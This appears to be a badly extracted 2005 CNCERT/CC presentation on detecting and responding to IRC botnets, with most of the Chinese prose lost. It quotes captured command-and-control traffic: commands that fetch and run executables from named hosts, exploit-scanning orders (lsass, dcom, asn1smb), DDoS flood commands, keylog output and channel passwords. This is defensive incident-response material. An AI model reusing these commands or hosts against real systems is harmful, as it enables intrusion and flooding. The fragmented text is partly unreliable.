cncert/cc 关于僵尸网络的 应对措施

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CNCERT/CC 关于僵尸网络的 应对措施. 国家计算机网络应急技术处理协调中心 陈明奇 博士 2005 年 11 月 17 日 天津. 摘要. 第一部分 背景 第二部分 发现和处置 第三部分 CNCERT/CC 的工作 监测情况和活动规律 应对措施 第四部分 实际案例分析. 一 背景. 网络安全的传统三大威胁: 病毒 / 木马 / 蠕虫( Virus/Trojan/Worm ) 拒绝服务攻击( DoS/DDoS ) 垃圾邮件 ( Spam ). 黑客 —— 动机的改变: 以经济利益为驱动,不再追求轰动性效果带来的名声和炫耀技巧 - PowerPoint PPT Presentation

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  • CNCERT/CC

    20051117

    National Computer network Emergency Response technical Team/Coordination Center of China

    CNCERT/CC

    National Computer network Emergency Response technical Team/Coordination Center of China

    //Virus/Trojan/WormDoS/DDoS Spam

    National Computer network Emergency Response technical Team/Coordination Center of China

    APWG VENDER(MS, AV company)2004ISP ComcastComcast888ComcastBotNet TrendLabs20049923.5200410 SANS DoS 4200411APWG,PhishingBotNet2004KorgoGaoBotSdBotBotNet3WittyCaidaBotNet100

    National Computer network Emergency Response technical Team/Coordination Center of China

    Botnet

    3.6 cents per bot week

    6 cents per bot weekSeptember 2004 postings to SpecialHam.com, Spamforum.biz

    20047Zombie103(BotNet)(phishing)100 >20-30k always online SOCKs4, url is de-duped and updated every >10 minutes. 900/weekly, Samples will be sent on request. >Monthly payments arranged at discount prices.>$350.00/weekly - $1,000/monthly (USD) >Type of service: Exclusive (One slot only)>Always Online: 5,000 - 6,000>Updated every: 10 minutes

    National Computer network Emergency Response technical Team/Coordination Center of China

    IRCHoneypot)honeynet project

    IDS+IRC863917 BOTbot botbot DdoSVax

    National Computer network Emergency Response technical Team/Coordination Center of China

    IRC

    National Computer network Emergency Response technical Team/Coordination Center of China

    IPport (): channel()Host.login passhostbotBotlogin.update.download.uninstall

    National Computer network Emergency Response technical Team/Coordination Center of China

    1() 2 ()

    1C&C 2;

    BotBOT?

    National Computer network Emergency Response technical Team/Coordination Center of China

    CNCERT/CCTop 563919593

    hotgirls29624ipscan s.s.s.s dcom2 86400 256 8000 sdcombot* wormride -s -t * download http://blah.alam2909.1paket.com/df.exe c:\windows\defrag32.exe -e s(df.exedefrag32)

    National Computer network Emergency Response technical Team/Coordination Center of China

    (200563-6 23)IRC C&C Server : 34 :18; :5; :4; :2; :2; 1;: 1; :1.

    Chart3

    48911

    57262

    50209

    41912

    17240

    22911

    20418

    15237

    Statistics of user clients of large scale botnets

    BOTNET

    bothunter6/22/05

    IP

    20050603#NT#24.14.213.135##NT##1128NTExploitingIP

    #NULLROOT#

    #liquid#

    #OMGLOLBBQ#

    #hotgirls#80.191.168.20#hotgirls#39084dcombot* wormride -s -t * download http://blah.alam2909.1paket.com/df.exe c:\windows\defrag32.exe -e -sdf.exedefrag32

    209.200.13.84

    80.191.168.20

    #veryhotgirls#

    ##pwned##207.105.182.101##pwned##2948##y00## Dowmloanding update from

    ##y00##http://65.75.134.170/~wxware/test/Service.exer

    #Hellas195.204.1.132#Hellas5751

    #

    48911

    20050608#fat fuckoffh00ker81.74.132.235#fat fuckoffh00ker192Download http://sentinel.sp1d3y.nl/own2.exeha.exeNTIP

    #visitors tricky

    #xt-nt fuckoffh00ker

    #hotgirls#80.191.168.20#hotgirls#39000dcombot* wormride -s -t * download http://blah.alam2909.1paket.com/df.exe c:\windows\defrag32.exe -e -sdf.exedefrag32

    209.200.13.84

    80.191.168.20

    #veryhotgirls#

    #master#220.151.115.232#master#6265

    ##NT##24.14.213.135##NT##5046IP Exploit

    #OMGLOBBQ##NULLROOT# [DDOS]Flooding :(216.73.112.201) for

    #NULLROOT#650 seconds

    #lc-wks202.67.155.250#lc-wks5640NTIP

    #SeR 654321211.221.205.58#SeR1119IP 445 FTP

    57262

    20050610#omgyay 0mg207.58.134.228#omgyay 0mg332ExploitingIP

    #hotgirls#80.191.168.20#hotgirls#27014dcombot* wormride -s -t

    209.200.13.84

    80.191.168.20

    #veryhotgirls#

    #Brappy81.75.86.50#oG#10271

    #hipsi sdadfasd23dfadas423

    #Brappy

    #12a asdasfGTSdzszsar3

    #13b sdadfasd23dfadas423

    ##NT##24.14.213.135##NT##2874NTIP Exploit

    222.104.230.23#OMGLOBBQ##NULLROOT# [DDOS]Flooding :(216.73.112.20180) for

    #NULLROOT#650 seconds

    #lc-wks202.67.155.250#lc-wks3132NTIP

    #SeR 654321211.221.205.58#SeR 6543216586IP 445 FTP

    209.170.170.16#For3#

    #fearme#

    50209

    20050613#omgyay 0mg207.58.134.228#omgyay 0mg796ExploitingIP67.39.199.177218.56.76.142

    67.39.199.177#Gunzup Robpwns67.39.199.177218.56.76.142

    218.55.76.142cmd=PRIVMSG;para=#:[UPDATE]:Downloading update from: http://www.reznzdr.com/rBot.exe;

    cmd=PRIVMSG;para=#:[UPDATE]:Downloading update from: http://www.reznzdr.com/asnstolen.exe;

    #Gunzup Robpwns IP61.174.215.9#SeR 654321IP211.23.16.105

    #hotgirls#80.191.168.20#hotgirls#29624dcombot* wormride -s -t

    209.200.13.84

    80.191.168.20

    #veryhotgirls#

    ##master##208.53.169.142#Master1133##master##IP 207.108.170.75

    207.167.215.35##master##

    207.108.170.75##xanax##Downloading update from: http://65.75.134.170/~wxwarez/test/Service.exe

    207.164.223.19##Go.DJ####xanax##IP 208.53.169.142[DOWNLOAD]:Link o Dns Not Trovato SUKKIAMELO!:

    130.239.38.130http://ciudad.lationl.com/777/reelay.exe

    #!pwn 133766.45.255.131#!pwn 1337

    #.b0tz elite7359NTIP Exploit

    #spyware FBISUCK#spyware Downloading http://s119796543.onlinehome.us/Lower.exe..;

    #asnexhttp://s119796543.onlinehome.us/tc.exe..;

    #asnhttp://s119796543.onlinehome.us/yoursite.exe..;

    #!pwn-roothttp://s119796543.onlinehome.us/tc.exe..;

    66.45.255.131KEYLOG

    cmd=PRIVMSG;para=#phattykeylog: (-Micros) [Del][CTRL] (Changed window)

    #SeR 654321211.221.205.58#SeR 6543213000IP 445 FTP

    #For3#

    #fearme#

    41912

    20050615#hotgirls#80.191.168.20#hotgirls#10018dcombot* wormride -s -t

    209.200.13.84

    80.191.168.20

    #veryhotgirls#

    #betty218.207.9.11#betty4805IPDcomIPNT

    ##WHOR3Z###betty DDOS

    ##FBOMED#cmd=PRIVMSG;para#betty : [SYN] Flooding : (24.62.139.80)for 111111111 seconds

    cmd=PRIVMSG;para#betty :[DOWNLOAD] : Link o Dns Non Trovato SUKKIAMEL! : http//www.tapionirc.altervista.org/mh.exe

    #ne061.167.82.194#ne0151IP ,DcomIP

    #n03cmd=PRIVMSG;para=#ne0:[DOWNLOAD]:Downloading URL : http://www.freewebs.com/matflp/undertow.exe to c:/undertow.exe -e

    #ne0n

    ##master##207.168.215.35##master##1606IP

    38.115.133.226##pwned####pwend##

    207.164.233.19##y00####master##

    213.88.181.70##fatality##cmd=PRIVMSG;para=##master## : [MAIN]: Removing Bot

    #!pwn 133766.45.255.131#!pwn 1337660NTIP Exploit

    #.b0tz elite#spyware Downloading http://s119796543.onlinehome.us/Lower.exe..;

    #spyware FBISUCKhttp://s119796543.onlinehome.us/tc.exe..;

    #asnexhttp://s119796543.onlinehome.us/mt.exe.

    #asn

    #!pwn-root

    17240

    20050617##master##207.168.215.35##master##1321IP

    38.115.133.226##pwned####master## cmd=PRIVMSG;para=##master## : [MAIN]: Removing Bot

    207.164.233.19##y00####y00##FTP

    ##fatality##

    #betty b1xvgf218.207.9.11#fbomed#10242##fbomed## [DDoS]:Flooding: (67.159.18.197:6667) for 300 seconds

    #betty b1xvgf#boilerhouse# Dcom135lIP

    #boilerhouse flash218.207.9.1181.230.22.5180.100.68.87

    81.230.22.51 ###LeoNarDo###

    80.100.22.51 #.#smash3r#.#

    1211

    #hotgirls80.191.168.20#hotgirls6338

    61.152.146.238#veryhotgirlsdcombot

    209.200.13.84* wormride -s -t

    24.21.203.98

    24.184.193.250

    209.200.13.84

    #ne061.167.82.194#ne087IP ,DcomIP

    #n03

    #ne0ncmd=PRIVMSG;para=#ne0:[DOWNLOAD]:Downloading URL : http://www.freewebs.com/matflp/undertow.exe to c:/undertow.exe -e

    cmd=PRIVMSG;para=#ne0:[DOWNLOAD]:Downloading URL : http://www.goa_irc.co.uk/wosten/new4.exe to new4.exe

    #bitch fuckinghoe210.108.10.150#bitch fuckinghoe4923

    211.226.12.159#blah

    #bleh

    #h2o pizpwna

    #meh nizzle

    #test fuckinghoe

    22911

    20050620#ne061.1673.82.194#ne028

    ##xdcc##

    ##ownage##

    #hotgirls209.200.13.84#hotgirls13049dcombot

    61.153.201.2#veryhotgirls

    218.22.25.142#xotgipls

    #NULLROOT222.104.230.41#NULLROOT#295

    #OMGLOLBBQ#

    #kush#

    #AIM#24.14.213.135#AIM# AOLOL83

    #0x7f shameep

    #12a asdasfGTSdzszsar3211.78.141.148#12a asdasfGTSdzszsar3;6963

    #13b sdadfasd23dfadas423;

    #ago-priv trouble;

    #brap rotasgobrap;

    #brappy asd3sadasdsadgfsd;

    #decomp sdadfasd23dfadas423;

    #fbsd lovesme;

    #FC asdasfGTSdzszsar3;

    #fuk3d lovesme;

    #hipsi sdadfasd23dfadas423;

    #hound lovesme;

    #linux lovesme;

    #marissa lovesme;

    #n0 3nt3r;

    #newmsn pass;

    #nicole.com lovesme;

    #nix lovesme;

    #oG# unknown;

    #ssh lovesme;

    #tX lovesme;

    20418

    20050622#fbomed#218.207.9.11##fbomed## FUCK3R4014

    #sluTTy# p1mp3d

    #betty b1xvgf

    #boilerhouse flash

    #eWg-BOT

    #NULLROOT222.104.230.41#NULLROOT#729

    #OMGLOLBBQ#

    #OMG#

    #hotgirls209.200.13.84#hotgirls6322dcomb

    61.153.201.2#veryhotgirls

    #omgyay66.45.249.155#Gunzup Robpwns99IP

    #omgyay 0mg

    #12a asdasfGTSdzszsar3211.78.141.148#12a asdasfGTSdzszsar3;4073

    #13b sdadfasd23dfadas423;

    #ago-priv trouble;

    #brap rotasgobrap;

    #brappy asd3sadasdsadgfsd;

    #decomp sdadfasd23dfadas423;

    #fbsd lovesme;

    #FC asdasfGTSdzszsar3;

    #fuk3d lovesme;

    #hipsi sdadfasd23dfadas423;

    #hound lovesme;

    #linux lovesme;

    #marissa lovesme;

    #n0 3nt3r;

    #newmsn pass;

    #nicole.com lovesme;

    #nix lovesme;

    #oG# unknown;

    15237

    1234567891011121314151617

    hotgirlsbettyNULLROOTbitch fuckinghoeBrappyfat fuckoffh00kerHellaslc-wksmasterne0NTomgyay 0mgpwn 1337pwnedSeR 654321AIM12a asdasfGTSdzszsar3

    reserved-38506x1f

    reserved-38511x1f

    reserved-38513x1f

    reserved-38516x1f

    reserved-38518x1f

    reserved-38520x1f

    reserved-38523x1f

    IP

    20050618-20050620#ne061.167.82.194cmd=TOPIC;para=#ne0 : download http://goa-irc.co.uk/wosten/new3.exe 1;

    ##xdcc##

    ##ownage##

    20050620-20050622#fbomed#218.207.9.11cmd=PRIVMSG;para=#eWg-BOT:.(UPDATE):Downloading update from :http://champion.altervista.org/suk.exe

    IP

    210.108.10.15020

    211.221.205.585

    211.226.12.1594

    218.55.76.1422

    222.104.230.232

    207.58.134.2281

    207.105.182.1011

    207.108.170.751

    207.164.223.191

    207.164.233.19

    207.167.215.3535

    207.168.215.35

    207.58.134.228

    208.53.169.142

    209.170.170.16

    209.200.13.84

    24.14.213.135

    24.184.193.250

    24.21.203.98

    38.115.133.226

    66.45.255.131

    67.39.199.177

    80.191.168.20

    195.204.1.132

    220.151.115.232

    130.239.38.130

    213.88.181.70

    202.67.155.250

    81.74.132.235

    81.75.86.50

    61.167.82.194

    218.207.9.11

    61.152.146.238

    61.167.82.194

    211.78.141.148

    24.14.213.135

    66.45.249.155

    38506.048911

    38511.057262

    38513.050209

    38516.041912

    38518.017240

    38520.022911

    38523.020418

    38525.015237

    Statistics of user clients of large scale botnets

    #hotgirls#

    38,50639084

    38,51139000

    38,51327014

    38,51629624

    38,51810018

    38,5206338

    38,52313049

    38,5256322

    Hotgirls

    National Computer network Emergency Response technical Team/Coordination Center of China

    15(2005819919)

    Chart2

    157142

    83263

    53366

    18753

    25795

    17333

    24054

    23266

    19906

    21498

    diablo

    Sheet2

    Sheet1

    IP

    1!cz2cezkareserved-38583x1fDiablo157142205.209.149.40

    2!pwn1337reserved-38586x1f83263

    3123456789reserved-38588x1f53366

    412aasdasfGTSdzszsar3reserved-38590x1f18753

    5aabcreserved-38593x1f25795

    6AIMreserved-38595x1f17333

    7asnreserved-38597x1f24054

    8asnFBISUCKreserved-38602x1f23266

    9bbotreserved-38609x1f19906

    10bettyreserved-38614x1f21498

    11bettyb1xvgf

    12bitchfuckinghoe

    13blah

    14boilerhouseflash

    15Brappy

    16CaMz-R

    17com

    18dd0s

    19diablo

    20DWdepth

    21Eddie

    22fatassfat20

    23fatfuckoffh00ker

    24fbomed

    25h2

    26hellas

    27hotgirls

    28lc-wks

    29Master

    30MP3

    31msn

    32ne0

    33NewBot

    34NT

    35NULLROOT

    36omgyay

    37omgyay0mg

    38phat

    39phatbot

    40pwned

    41ruff

    42SeR654321

    43sKull

    44staff

    45wubix

    45

    2005.06.032005.09.19

    Sheet1

    diablo

    Sheet3

    157142

    National Computer network Emergency Response technical Team/Coordination Center of China

    gunit

    829 12PRIVMSG #asnftp :.login booties -s;cmd=:[email protected] #nesebot :.login nesebot -s;cmd=:gunit!DIE@nesePRIVMSG #urxbot :.login prx -s;cmd=:[email protected];TOPIC #.ForBotX.# :.adv.start lsass 120 5 9999 -b -r -s;cmd=:gunit;TOPIC #.asnftp :.advscan asn1smb 100 3 0 -r -s;cmd=:gunit;TOPIC #.ForBotX.# :.adv.start lsass 120 5 9999 -b -r -s;cmd=:gunitTOPIC #forasn :.adv.start asn 120 5 0 -r;cmd=:gunit;TOPIC #phat# :.scan.startall;cmd=:gunit; TOPIC #urxbot :.advscan dcom135 500 3 0 -r;cmd=:gunit;(2005829)

    National Computer network Emergency Response technical Team/Coordination Center of China

    (Life Cycle)botnet creation) Deloder/Mytob/Zotob 2005.9.18 9:00 332 [botz]-96018 #ass :!upd4t3z http://peckno.site.voila.fr/win2k.exe the [botz]-96018 67.43.*.*:6667 JOIN #suce fuck. :r00t.expl01t3d.org 332 Suce-548836 #suce :-ntscan 254 1000 -a b

    National Computer network Emergency Response technical Team/Coordination Center of China

    (Life Cycle)botnet spreadTOPIC ##asn-new## :.advscan asn1smb 400 3 0 -r -b sTOPIC #bitch :+advscan Asn1smbnt 199 5 0 201.x.x.x -r sTOPIC #xdcc4 :@sadvscan asn1smb 150 5 0 201.5.x.xTOPIC #XOwneD :!ntscan 350 1000 -a -b;TOPIC #111 :.advscan lsass_445 100 5 120 -r332 nffe #fanta :.scan pnp 50 6000 221332 #bot :$advscan WksSvcOth 400 5 0 221.x.x.x -b -r;332 #tvr0x :^advscan dcom135 300 5 0 -r s332 #Rxx :.asc -S -s!.ntscan 40 5 0 -b -r -e -h!.asc PnP 40 10 0 -b -r -e -h!332 ...#r00x %advscan dcom135 300 5 0 -r -b s332 ...#asn :.scanall s332 ...#.wadside :`adv.start lsass 150 6 9999 -b -r s332 ...#.pwnt. :.xscan msass 300 5 0 -b -s;332 ...#.#smash3r#.# :.root.start msass 200 0 5 -a -r s332 ...##scarezsql## :-scan.startall!-bot.secure -s!-scan.addnetrange x.x.x.x/16 100

    National Computer network Emergency Response technical Team/Coordination Center of China

    (Life Cycle)botnet transfer1. IRC Server()2. IRC Server;3. IRC ServerBot2005927

    National Computer network Emergency Response technical Team/Coordination Center of China

    (Life Cycle)botnet updateBotTOPIC PRIVMSG 2005.9.18 8.am:[email protected] #hb3 :.hell.download http://elizabethwargo.com/cannon/php1/images/duh.exe explore.exe -e;cmd=;TOPIC #rooted :@sdownload http://site.voila.fr/qhzteam/asn.exePRIVMSG ##em :!upadfkadf http://w00tage.com/stolen2.exe stolenBot 20050919 02NotaBot:

    PRIVMSG #NotaBot :.spread.remove.module mssql\r\nPRIVMSG #NotaBot :.spread.remove.module dcom1\r\nPRIVMSG #NotaBot :.spread.add.module vnc_scan\r\nPRIVMSG #NotaBot :.spread.add.module radmin_empty\r\n

    National Computer network Emergency Response technical Team/Coordination Center of China

    (Life Cycle)Botnet Activity spyware

    220050919 12PRIVMSG #NotaBotslog :[ VNC Found ] :218.14. *.*:111111 //VNC

    PRIVMSG #NotaBot: Active Modules : ms04011 ipc wins netdde veritas vnc_scan radmin_empty//

    0927 20 TOPIC ##bla :.ddos.random 81.169. *.* 80 120//

    National Computer network Emergency Response technical Team/Coordination Center of China

    (Life Cycle)Botnet decease

    1C&C servers()DDNS /DNS

    2C&C serverbot

    3 bot

    4

    5( .remove/.uninstall)

    6bot

    National Computer network Emergency Response technical Team/Coordination Center of China

    CNCERT/CC1 200412863-917IRC BotNet2 IRC BotNet20057Honeypot3 BotNet4 BotNet,Bot5 Bot,6 ,Bot

    National Computer network Emergency Response technical Team/Coordination Center of China

    DDOS

    1

    2DDOSBotNet

    National Computer network Emergency Response technical Team/Coordination Center of China

    () BKDR_VB.CQ

    \urlHTTPSMTP

    National Computer network Emergency Response technical Team/Coordination Center of China

    () IRC

    anthony.ipv6.usr.aswind.com peter.freehost.aswind.net carlyle.dns2go.aswind.net khond.vip.vhost.ourmidi.com lamen.vhost.ourmidi.com massuse.ipv6.free.ourmidi.net bruce.free.ourmidi.net john.usr.aswind.com

    National Computer network Emergency Response technical Team/Coordination Center of China

    IP

    216.152.*.*6667 212.204.*.* 6667 64.12.*.* 6667 207.68.*.* 6667 61.197.*. * 8000 218.157. *. * 443 221.146. *. * 554 219.153. *. * 8000

    202.108.*.*IP

    National Computer network Emergency Response technical Team/Coordination Center of China

    ()

    BotNet

    12106000080003712

    IP60.2.*.*ADSL

    National Computer network Emergency Response technical Team/Coordination Center of China

    ()() 1171641 IPBKDR_VB.CQ156120

    National Computer network Emergency Response technical Team/Coordination Center of China

    ()215521(200412132005110)

    National Computer network Emergency Response technical Team/Coordination Center of China

    ()

    CNCERT/CC

    National Computer network Emergency Response technical Team/Coordination Center of China

    ()

    () BotNet 1CNCERT http://www.cert.org.cn/articles/tools/common/2004123022037.shtml 2

    National Computer network Emergency Response technical Team/Coordination Center of China

    ()3

    National Computer network Emergency Response technical Team/Coordination Center of China

    rasinf.exe,ipxsrv.exeipxsrv.exe,QQ,IEipxsrv.exe, msapp.exerasinf.exe, rasinf.exeIPCKuang2kuang2(k2.exe)kuang2msapp.exe.1200223200410 Botnet

    National Computer network Emergency Response technical Team/Coordination Center of China

    1 C&C Server2 Bot3 C&C Server4 5 botnet

    National Computer network Emergency Response technical Team/Coordination Center of China

    CNCERT/CCWEBSITE: WWW.ORG.CNTEL: 8299 0999 () +86-10-8299 1000EMAIL:[email protected]

    National Computer network Emergency Response technical Team/Coordination Center of China

    [email protected]

    BotNet2004BotNetSpamDDosBotBotnet BotNet200420033

    DDoSIdentity theftbotbotHoneywallbot200411200531HoneyWall1mwcollect[8],18030550080020041120051406Ddos179[4]

    1bot(fast joining bots) botsIRCIRC2) bot(Long standing connection) botsbot(not talkative)Botsbotping/pongDdoSVax[5]BotIDSbotbotbotbotbot,IDSIRCIDSIRCBotIRCIRC RFCIDSbotIRCIRCIDSbotIDSsocks v4ServerTOPIC #rBot :.advscan lsass 200 5 0 -r sa->TOPIC#rBot :.advscan lsass 200 5 0 -r s\nb->TOPIC#rBot :.advscan lsass 200 5 0 -r s\nc) Botnetbot